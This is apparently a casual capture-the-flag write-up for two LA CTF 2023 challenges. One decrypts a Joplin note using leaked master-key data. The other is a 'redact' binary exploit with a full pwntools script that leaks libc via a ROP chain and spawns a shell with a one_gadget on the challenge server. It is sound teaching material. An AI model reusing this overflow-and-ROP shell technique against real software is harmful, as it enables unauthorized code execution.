a few of my teammates were working on getting the disk image decrypted and extracting data out of it while i was working on pycjail, but then i got fed up with it and took a break to look at other ppls progress
thats where i see ppl talking about joplin and i was like eyo joplin?? fancy seeing a niche software i use and have tinkered with in a ctf
ppl saw weird flag like strings in the db through `strings` but couldnt find where it is at, so i just opened it in sqlite explorer and looked through until i see it in `notes_fts_segdir`
im pretty sure thats unintended since its a part of the full text search mechanism (and its all in lower case compared to the actual flag we get later on anyway)
so i just looked for another route while my teammates are working on figuring out how the words match up to a flag
i remember a class that handled all encryption stuff in joplin which was pretty nice to use back when i tinkered with the src so i tried looking for it
and yep `EncryptionService` is right there and we can instantiate separate instances to add master keys and all that to decrypt stuff since we have both the encrypted string in the `encrypted_notes` dir and also the master key and master password in the `settings` table in the db
i was gonna run it on my actual joplin instance but i figured thats probably not the best idea lmao i dont wanna screw up my own notes sync
so i just spun up a portable instance and just threw the code into it
and ey flag ez `lactf{S3cUr3_yOUR_C4cH3D_3nCRYP71On_P422woRD2}`
```js
enc = new EncryptionService()
enc.loadMasterKey( {
"checksum": "",
"encryption_method": 4,
"content": "{\"iv\":\"Aq6h2XDGTIilysXiqtqmFg==\",\"v\":1,\"iter\":10000,\"ks\":256,\"ts\":64,\"mode\":\"ccm\",\"adata\":\"\",\"cipher\":\"aes\",\"salt\":\"MTCPTTh43BY=\",\"ct\":\"KAkXmATvGZesYHzTFHB/Jpbo7XuFqoMBqbXNQ558UzH5XpLrUkl1ikb/uV8rvr4tKGDrZ6qNHDGdb6sB1uJnAIB1f+UhQGF5sQ0hLbP6ipAKndxl/VhJ/R4u8oL2eek/wPD9Tw2nRu0WtVtR3tLjrk8GFc6TlIE9nQDdTCXosrZwo2Upl1R2T1SDHuOJfZy75TNvhO4lZg+a/+IwVgsY2fXaSbup45RzOd60VtKYsK+/mJLlQXGeyv+6QV30DXq/mVuEaJ/9jMQqCZ1ZXBYWmKWtBHTXwa0NTjlcUuucH0eSpxo+TvtDu9ILnnZhwNdBpeyZD5+fczz6Uv6d39HI9Sih3onXwZKIO5RACDY8TwAA7LLfZvJyPoVk0hm1s04HouN/RbjLijyL0WEjO89lDJqlcBZXAzHj0c045iUn0VsWhr4JbbVgcKC90QsLWxswb+OVcSghdJg4TOQEbXjFMGi/tXnTIdwNpewHK88gwtz7PeAT2u1pyXCqPRsn0xt9vhGpaQqrhshPg8z8QVvygpqrRVC8nGZAU7q8bGlaFpuKE7LemTCMh8CxESHwGsBqb7MESlk61eeS67MDa7RxVuvNVtwqzJGB06EAlcF6CznlLm88GToqgHk3/4sstSqw4ueN9GFqlzWstZ5X1BTMm2y+7KdFIKo98YyBgibJaBGFKtkq7k4Z7g==\"}",
"created_time": 1673831472785,
"updated_time": 1673831562612,
"source_application": "net.cozic.joplin-cli",
"hasBeenUsed": true,
"id": "7fc1b793673943df83c6d6ef86241625"
}, 'n72ROU9BqbjVOlXKH5Ju', true)
enc.decryptString('JED01000022057fc1b793673943df83c6d6ef86241625000520{"iv":"Vy4yg7+5mqATH17czoKr6g==","v":1,"iter":101,"ks":128,"ts":64,"mode":"ccm","adata":"","cipher":"aes","salt":"t+kHfSSLUOk=","ct":"Kp5ujJtjn56bCUJIiN/RXa7uYCjxtvvRzwhOfMLzt4hrRh+KeVMPgFbBXX9sfLLhVwgfXBQi74ws/NyM5aWB0k9BHbwzt5tCiO59JKTirGYxoRrTtmxeh3Q1Rl0nshAcZobtWMJVAZPId4NtMp6SrkRxpDnd5yU2eD4PkSu4ns/aIDoAUINap9LG3grlBOWuRUWvthtODWlKIVmFXiWxBFiPb7sAYLRHU4hnopTCX+nBubyboe4V3xOvied6D3s5c4/Mj2x1065QlG3+o5xn2XtBLsFEKgvO2ZB61PacAGsf3/QxjqTB2T8Aj0iXa05mr10MXwPiQc4vJqA+8acqqc1pLqxjjC5ahVr45hKxDlN7knlYQJILbW73MWVLwySJ15Y/7BTPdrcbh0eFT/UDMKXDU5wCmtREVA3t1/M6mUWmqCzxZlktkQ116MgInsjKEJMHYwtBOZuBL15bxECUXS8BG/eiqPLcxnwEqmw1J3qaRj43eH9ihkJLNhNkchMhUPQID/GPR6/KGTio6hr50a3VWlMcMqX0IOOvMTVwkgpRGM2SKNf3WI3BTPjIXx/CEUCjeRunqI2wqbTAKv540HZlWrpZi/G5rdhEyVIJ6EfuMru2EpABttE92CUVkp6beavIgRsNV4Zw4QG6R3ctphPa2UmtR+S+n7PODrz7dWGukzZfW5hNt6ZS22FhK1BhRepRyL7Rc+jTHP4+72X6CuOp+LPdf5oztsz98VHs04iVfuzx2uvPfKwcFNn7Opfqwk5ZD498+ExkJ9E2fWp+5he21+3FpmKnPsQDmkoKCHr9G0zuJMPdpMzcPFic7XjsPNZQTHRhWtPT2zMuajYFzJ7oonFMNMubqoAGiNu/9VKVHO2J8qnmeufxNjTPiT5v+zcsZf+lmIrc8W3OBkSCxUqh5YkGnn9n5VHgfH4goEK+nw3wAko8lYRiNXFZADAuP16wmfJzHc8+P3hV4Xc+mBAhbuKZNM2vmksMdGYEar68zW9cIbcKkbfv/yyP1ly0gNS06tH00IR4JpqAPJ2vpBePLSejpHWG1Yt/kOCWlT/3XYMwLjAawrGz9SxYIPLwHXtywKn0wcbMwx9WiHm4xI36RHVH+kMfbizYvuBbyosfG4xDMUFm5kbG5aTrWpNRRRODZ5qwGVYrGip3k7fJnr8="}')
```
### redact
spotted the out of bounds access pretty early while messing around with unmatching text and placeholder lengths which allows us to directly buffer overflow since no canary
but that only gives us ret overwrite at 0x48 and theres nothing in the binary that can give us ez RCE
and theres also no obvious leaks that we can use in the code either since we cant make a c++ string that is shorter than what is printed
so it means we probably have to ret for a leak and then go back to main again to do the actual RCE
so i tried looking for something that can do the equivalent of `printf` without all the c++ fluff and preferrably just straight up jumpable without much setup for me but alas pwn never is this straightforward
so crafting rop it is i guess
after finding the cout that actually works with a c string and a disgusting chain that was actually pretty straightforward to write we finally get a leak and a return to main that didnt crash
somehow the "enter some text" prompt gets skipped as an empty string tho but that doesnt matter coz i was using empty strings for text anyway
anyway with `one_gadget` it was more straightforward to get a shell than to leak the libc lmao
but yea after a brief scare due to connection issues theres the flag `lactf{1_l0v3_c++_L2zuBdqJABGU}`
```py
from pwn import *
context.binary = ELF('/mnt/d/Downloads/lactf2023/redact')
#check rop gadgets
r = ROP(context.binary)
#set up libc for the process
#p = process(['./ld-2.31.so', '--preload', './libc-2.31.so ./usr/lib/x86_64-linux-gnu/libstdc++.so.6 ./lib/x86_64-linux-gnu/libgcc_s.so.1', './redact'])
#p = process('LD_PRELOAD="./libc-2.31.so ./usr/lib/x86_64-linux-gnu/libstdc++.so.6 ./lib/x86_64-linux-gnu/libgcc_s.so.1" ./redact', shell=True)
p = remote('lac.tf', 31281)
p.sendlineafter('Enter some text: ', b'') #has to be <=8 to avoid getting allocated to the heap
#pop rdi; <stdout stream loc>; pop rsi, pop r15; <__libc_start_main .got>; pad; cout << rsi; main
p.sendlineafter('Enter a placeholder: ', b'A'*0x48 + p64(r.rdi.address) + p64(0x4040C0) + p64(r.rsi.address) + p64(0x403fe8) + b'A'*8 + p64(0x4010C0) + p64(0x401202))
p.sendlineafter('Enter the index of the stuff to redact: ', b'0')
#drop \n too with [1:]
libc_addr = int.from_bytes(p.recvuntil(b'Enter some text: ', drop=True)[1:], byteorder='little') - 0x23C20
print('libc:', hex(libc_addr))
# #for some reason the text is skipped on second try
#pop r12, pop rbp; 0; pad; pop r13, pop rbp; 0; pad; one_gadget
p.sendlineafter('Enter a placeholder: ', b'A'*0x48 + p64(r.r12.address) + b'\0'*16 + p64(r.r13.address) + b'\0'*16 + p64(libc_addr + 0xc961a))
p.sendafter('Enter the index of the stuff to redact: ', b'0')
p.interactive()
```
this chall made me realize when i give up on pwn challs its mostly coz i dont wanna do all the work setting up the env not that i dont know what to do lmao
like this chall is honestly pretty straightforward yet im still annoyed by the fact that i gotta do non trivial setup
i honestly should do more pwn to train up speed tbh pwn is really fun anyway

File Metadata

Mime Type
text/x-python
Expires
Sun, Jul 6, 5:18 PM (23 h, 18 m)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
ac/7f/3fd391059bc6abf27627b1c36535

Event Timeline